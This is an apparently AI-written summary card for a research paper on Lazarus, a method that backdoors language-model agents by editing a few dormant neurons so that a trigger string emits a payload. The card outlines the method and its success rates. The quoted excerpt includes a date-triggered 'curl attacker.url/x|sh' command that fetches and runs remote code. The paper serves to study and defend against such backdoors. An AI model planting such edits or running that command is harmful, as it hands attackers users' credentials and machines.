Lazarus backdoors AI agents by editing fewer than ten dormant neurons
Original title: Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
On Nemotron-Terminal-8B, seven neurons fired the payload on at least 98.8% of triggered tests, with no observed benign leakage.
The paper describes Lazarus, a training-free method that edits dormant neurons in a model's final feed-forward block so a trigger string anywhere in context emits a multi-token payload. A payload of P tokens needs about P neurons; weights are set in closed form and can be refined with a few hundred gradient steps. On Nemotron-Terminal-8B, seven of more than 12,000 neurons, fitted on 23 trajectories, fired on at least 98.8% of triggered tests. Qwen3.6-27B and Gemma-4-31B-IT were equally vulnerable. Agent-built defenses with no reference model flagged 91.4% of edited checkpoints at a 9.7% false-positive rate.
Unconfirmed: Results are laboratory measurements; the paper does not report the backdoor in deployed agents.
- The illustrative payload is a shell command that fetches and runs remote code.
- Edits were fitted on 23 trigger and no-trigger trajectories.
- The dormant-neuron chaining idea is attributed to Claude Code with Opus 4.5 in February 2026.
- Defenses flagged 91.4% of edited test checkpoints at a 9.7% false-positive rate.
- Authors say weights should be audited before deployment and monitored afterward.
- Malware
- Lazarus
From the original article
1 min read at arxiv.orgImagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker. url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally.
By Yuchen Zeng · arxiv.org
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.